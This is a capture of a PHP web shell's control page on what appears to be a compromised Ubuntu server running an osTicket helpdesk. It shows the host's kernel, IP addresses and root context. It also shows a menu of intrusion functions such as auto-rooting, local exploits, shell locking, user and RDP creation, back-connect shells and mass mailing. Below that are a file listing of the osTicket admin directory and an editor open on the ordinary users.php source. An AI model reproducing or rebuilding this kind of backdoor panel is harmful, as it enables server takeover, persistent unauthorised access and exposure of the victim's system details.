Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
osticket /
upload /
scp /
[ HOME SHELL ]
Name
Size
Permission
Action
apps
[ DIR ]
drwxr-xr-x
css
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
admin.inc.php
2.77
KB
-rw-r--r--
admin.php
70
B
-rw-r--r--
ajax.php
15.5
KB
-rw-r--r--
apikeys.php
5.44
KB
-rw-r--r--
audits.php
939
B
-rw-r--r--
autocron.php
2.32
KB
-rw-r--r--
banlist.php
7.15
KB
-rw-r--r--
canned.php
8.51
KB
-rw-r--r--
categories.php
7.2
KB
-rw-r--r--
dashboard.php
1.75
KB
-rw-r--r--
departments.php
13.45
KB
-rw-r--r--
directory.php
797
B
-rw-r--r--
emails.php
3.77
KB
-rw-r--r--
emailsettings.php
1.32
KB
-rw-r--r--
emailtest.php
5.49
KB
-rw-r--r--
export.php
757
B
-rw-r--r--
faq.php
6.7
KB
-rw-r--r--
filters.php
6.83
KB
-rw-r--r--
forms.php
6.82
KB
-rw-r--r--
helptopics.php
11.05
KB
-rw-r--r--
index.php
548
B
-rw-r--r--
kb.php
1.05
KB
-rw-r--r--
lists.php
8.39
KB
-rw-r--r--
login.php
3.7
KB
-rw-r--r--
logo.php
1.32
KB
-rw-r--r--
logout.php
1.12
KB
-rw-r--r--
logs.php
2.25
KB
-rw-r--r--
orgs.php
4.86
KB
-rw-r--r--
pages.php
6.75
KB
-rw-r--r--
plugins.php
2.05
KB
-rw-r--r--
profile.php
2.06
KB
-rw-r--r--
pwreset.php
2.99
KB
-rw-r--r--
queues.php
3.65
KB
-rw-r--r--
roles.php
5.84
KB
-rw-r--r--
schedules.php
2.49
KB
-rw-r--r--
settings.php
2
KB
-rw-r--r--
slas.php
6.07
KB
-rw-r--r--
staff.inc.php
4.83
KB
-rw-r--r--
staff.php
8.79
KB
-rw-r--r--
system.php
772
B
-rw-r--r--
tasks.php
9.96
KB
-rw-r--r--
teams.php
5.93
KB
-rw-r--r--
templates.php
9.04
KB
-rw-r--r--
tickets.php
23.35
KB
-rw-r--r--
upgrade.php
3.32
KB
-rw-r--r--
users.php
9.03
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : users.php
<?php /********************************************************************* users.php Peter Rotich <peter@osticket.com> Jared Hancock <jared@osticket.com> Copyright (c) 2006-2014 osTicket http://www.osticket.com Released under the GNU General Public License WITHOUT ANY WARRANTY. See LICENSE.TXT for details. vim: expandtab sw=4 ts=4 sts=4: **********************************************************************/ require('staff.inc.php'); if (!$thisstaff->hasPerm(User::PERM_DIRECTORY)) Http::redirect('index.php'); require_once INCLUDE_DIR.'class.note.php'; $user = null; if ($_REQUEST['id'] && !($user=User::lookup($_REQUEST['id']))) $errors['err'] = sprintf(__('%s: Unknown or invalid'), _N('end user', 'end users', 1)); if ($_POST) { switch(strtolower($_REQUEST['do'])) { case 'update': if (!$user) { $errors['err']=sprintf(__('%s: Unknown or invalid'), _N('end user', 'end users', 1)); } elseif (!$thisstaff->hasPerm(User::PERM_EDIT)) { $errors['err'] = __('Action denied. Contact admin for access'); } elseif(($acct = $user->getAccount()) && !$acct->update($_POST, $errors)) { $errors['err']=__('Unable to update user account information'); } elseif($user->updateInfo($_POST, $errors)) { $msg=sprintf(__('Successfully updated %s.'), __('this end user')); $_REQUEST['a'] = null; } elseif(!$errors['err']) { $errors['err']=sprintf('%s %s', sprintf(__('Unable to update %s.'), __('this end user')), __('Correct any errors below and try again.')); } break; case 'create': $form = UserForm::getUserForm()->getForm($_POST); if (($user = User::fromForm($form))) { $msg = Format::htmlchars(sprintf(__('Successfully added %s.'), $user->getName())); $_REQUEST['a'] = null; } elseif (!$errors['err']) { $errors['err']=sprintf('%s %s', sprintf(__('Unable to add %s.'), __('this end user')), __('Correct any errors below and try again.')); } break; case 'confirmlink': if (!$user || !$user->getAccount()) $errors['err'] = sprintf(__('%s: Unknown or invalid'), __('end user account')); elseif ($user->getAccount()->isConfirmed()) $errors['err'] = __('Account is already confirmed'); elseif ($user->getAccount()->sendConfirmEmail()) $msg = sprintf(__('Account activation email sent to %s'),$user->getEmail()); else $errors['err'] = sprintf('%s - %s', __('Unable to send account activation email'), __('Please try again!')); break; case 'pwreset': if (!$user || !$user->getAccount()) $errors['err'] = sprintf(__('%s: Unknown or invalid'), __('end user account')); elseif ($user->getAccount()->sendResetEmail()) $msg = sprintf(__('Account password reset email sent to %s'),$user->getEmail()); else $errors['err'] = sprintf('%s - %s', __('Unable to send account password reset email'), __('Please try again!')); break; case 'mass_process': if (!$_POST['ids'] || !is_array($_POST['ids']) || !count($_POST['ids'])) { $errors['err'] = sprintf(__('You must select at least %s.'), __('one end user')); } else { $users = User::objects()->filter( array('id__in' => $_POST['ids']) ); $count = 0; switch (strtolower($_POST['a'])) { case 'lock': foreach ($users as $U) if (($acct = $U->getAccount()) && $acct->lock()) { $type = array('type' => 'edited', 'key' => 'locked-flag'); Signal::send('object.edited', $acct, $type); $count++; } break; case 'unlock': foreach ($users as $U) if (($acct = $U->getAccount()) && $acct->unlock()) { $type = array('type' => 'edited', 'key' => 'unlocked-flag'); Signal::send('object.edited', $acct, $type); $count++; } break; case 'delete': foreach ($users as $U) { if (@$_POST['deletetickets']) { if (!$U->deleteAllTickets()) // XXX: This message is very unclear $errors['err'] = __('You do not have permission to delete a user with tickets!'); } if ($U->delete()) $count++; } break; case 'reset': foreach ($users as $U) if (($acct = $U->getAccount()) && $acct->sendResetEmail()) { $type = array('type' => 'edited', 'key' => 'pwreset-sent'); Signal::send('object.edited', $acct, $type); $count++; } break; case 'register': foreach ($users as $U) { $type = array('type' => 'edited', 'key' => 'user-registered'); Signal::send('object.edited', $U, $type); if (($acct = $U->getAccount()) && $acct->sendConfirmEmail()) $count++; elseif ($acct = UserAccount::register($U, array('sendemail' => true), $errors )) { $count++; } } break; case 'setorg': if (!($org = Organization::lookup($_POST['org_id']))) $errors['err'] = sprintf('%s - %s', __('Unknown action'), __('Get technical help!')); foreach ($users as $U) { if ($U->setOrganization($org)) { $type = array('type' => 'edited', 'key' => 'user-org'); Signal::send('object.edited', $U, $type); $count++; } } break; default: $errors['err']=sprintf('%s - %s', __('Unknown action'), __('Get technical help!')); } if (!$errors['err'] && !$count) { $errors['err'] = __('Unable to manage any of the selected end users'); } elseif ($_POST['count'] && $count != $_POST['count']) { $warn = __('Not all selected items were updated'); } elseif ($count) { $msg = __('Successfully managed selected end users'); } } break; case 'import-users': $status = User::importFromPost($_FILES['import'] ?: $_POST['pasted']); if (is_numeric($status)) $msg = sprintf(__('Successfully imported %1$d %2$s'), $status, _N('end user', 'end users', $status)); else $errors['err'] = $status; break; default: $errors['err'] = __('Unknown action'); break; } } elseif(!$user && $_REQUEST['a'] == 'export') { require_once(INCLUDE_DIR.'class.export.php'); $ts = strftime('%Y%m%d'); if (!($query=$_SESSION[':Q:users'])) $errors['err'] = __('Query token not found'); elseif (!Export::saveUsers($query, __("users")."-$ts.csv", 'csv')) $errors['err'] = __('Unable to dump query results.') .' '.__('Internal error occurred'); } $page = 'users.inc.php'; if ($user ) { $page = 'user-view.inc.php'; switch (strtolower($_REQUEST['t'])) { case 'tickets': if (isset($_SERVER['HTTP_X_PJAX'])) { $page='templates/tickets.tmpl.php'; $pjax_container = @$_SERVER['HTTP_X_PJAX_CONTAINER']; require(STAFFINC_DIR.$page); return; } elseif ($_REQUEST['a'] == 'export' && ($query=$_SESSION[':U:tickets'])) { $filename = sprintf('%s-tickets-%s.csv', $user->getName(), strftime('%Y%m%d')); if (!Export::saveTickets($query, '', $filename, 'csv')) $errors['err'] = __('Unable to dump query results.') .' '.__('Internal error occurred'); } break; } } $nav->setTabActive('users'); require(STAFFINC_DIR.'header.inc.php'); require(STAFFINC_DIR.$page); include(STAFFINC_DIR.'footer.inc.php'); ?>
Close